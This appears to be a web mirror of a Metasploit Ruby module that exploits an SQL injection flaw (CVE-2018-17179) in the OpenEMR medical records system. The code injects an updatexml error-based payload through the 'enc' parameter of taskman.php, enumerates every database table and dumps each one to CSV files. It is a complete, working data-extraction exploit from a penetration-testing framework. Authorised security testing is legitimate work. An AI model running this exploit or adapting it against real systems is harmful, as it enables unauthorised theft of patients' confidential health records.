Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb
19593 views
1
require 'csv'
2
3
##
4
# This module requires Metasploit: https://metasploit.com/download
5
# Current source: https://github.com/rapid7/metasploit-framework
6
##
7
class MetasploitModule < Msf::Auxiliary
8
include Msf::Auxiliary::Report
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::SQLi
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'OpenEMR 5.0.1 Patch 6 SQLi Dump',
17
'Description' => %q{
18
This module exploits a SQLi vulnerability found in
19
OpenEMR version 5.0.1 Patch 6 and lower. The
20
vulnerability allows the contents of the entire
21
database (with exception of log and task tables) to be
22
extracted.
23
This module saves each table as a `.csv` file in your
24
loot directory and has been tested with
25
OpenEMR 5.0.1 (3).
26
},
27
'License' => MSF_LICENSE,
28
'Author' => [
29
'Will Porter <will.porter[at]lodestonesecurity.com>'
30
],
31
'References' => [
32
['CVE', '2018-17179'],
33
['URL', 'https://github.com/openemr/openemr/commit/3e22d11c7175c1ebbf3d862545ce6fee18f70617']
34
],
35
'DisclosureDate' => '2019-05-17',
36
'Notes' => {
37
'Stability' => [CRASH_SAFE],
38
'SideEffects' => [IOC_IN_LOGS],
39
'Reliability' => []
40
}
41
)
42
)
43
44
register_options(
45
[
46
OptString.new('TARGETURI', [true, 'The base path to the OpenEMR installation', '/openemr'])
47
]
48
)
49
end
50
51
def uri
52
target_uri.path
53
end
54
55
def openemr_version
56
res = send_request_cgi(
57
'method' => 'GET',
58
'uri' => normalize_uri(uri, 'admin.php')
59
)
60
vprint_status("admin.php response code: #{res.code}")
61
document = Nokogiri::HTML(res.body)
62
document.css('tr')[1].css('td')[3].text
63
rescue StandardError
64
''
65
end
66
67
def check
68
# Check version
69
print_status('Trying to detect installed version')
70
version = openemr_version
71
return Exploit::CheckCode::Unknown if version.empty?
72
73
vprint_status("Version #{version} detected")
74
version.sub! ' (', '.'
75
version.sub! ')', ''
76
version.strip!
77
78
return Exploit::CheckCode::Safe unless Rex::Version.new(version) < Rex::Version.new('5.0.1.7')
79
80
Exploit::CheckCode::Appears
81
end
82
83
def get_response(payload)
84
send_request_cgi(
85
'method' => 'GET',
86
'uri' => normalize_uri(uri, 'interface', 'forms', 'eye_mag', 'taskman.php'),
87
'vars_get' => {
88
'action' => 'make_task',
89
'from_id' => '1',
90
'to_id' => '1',
91
'pid' => '1',
92
'doc_type' => '1',
93
'doc_id' => '1',
94
'enc' => "1' and updatexml(1,concat(0x7e, (#{payload})),0) or '"
95
}
96
)
97
end
98
99
def save_csv(data, table)
100
# Use the same gsub pattern as store_loot
101
# this will put the first 8 safe characters of the tablename
102
# in the filename in the loot directory
103
safe_table = table.gsub(/[^a-z0-9._]+/i, '')
104
store_loot(
105
"openemr.#{safe_table}.dump",
106
'application/CSV',
107
rhost,
108
data.map(&:to_csv).join,
109
"#{safe_table}.csv"
110
)
111
end
112
113
def dump_all
114
sqli_opts = {
115
truncation_length: 31, # slices of 31 bytes of the query response are returned
116
encoder: :base64, # the web application messes up multibyte characters, better encode
117
verbose: datastore['VERBOSE']
118
}
119
sqli = create_sqli(dbms: MySQLi::Common, opts: sqli_opts) do |payload|
120
res = get_response(payload)
121
if res && (response = res.body[%r{XPATH syntax error: '~(.*?)'</font>}m, 1])
122
response
123
else
124
''
125
end
126
end
127
unless sqli.test_vulnerable
128
fail_with Failure::NotVulnerable, 'The target does not seem vulnerable.'
129
end
130
print_good 'The target seems vulnerable.'
131
db_version = sqli.version
132
print_status("DB Version: #{db_version}")
133
print_status('Enumerating tables, this may take a moment...')
134
tables = sqli.enum_table_names
135
num_tables = tables.length
136
print_status("Identified #{num_tables} tables.")
137
# These tables are impossible to fetch because they increase each request
138
skiptables = %w[form_taskman log log_comment_encrypt]
139
# large table containing text in different languages, >4mb in size
140
skiptables << 'lang_definitions'
141
tables.each_with_index do |table, i|
142
if skiptables.include?(table)
143
print_status("Skipping table (#{i + 1}/#{num_tables}): #{table}")
144
else
145
columns_of_table = sqli.enum_table_columns(table)
146
print_status("Dumping table (#{i + 1}/#{num_tables}): #{table}(#{columns_of_table.join(', ')})")
147
table_data = sqli.dump_table_fields(table, columns_of_table)
148
table_data.unshift(columns_of_table)
149
save_csv(table_data, table)
150
end
151
end
152
print_status("Dumped all tables to #{Msf::Config.loot_directory}")
153
end
154
155
def run
156
dump_all
157
end
158
end
159
160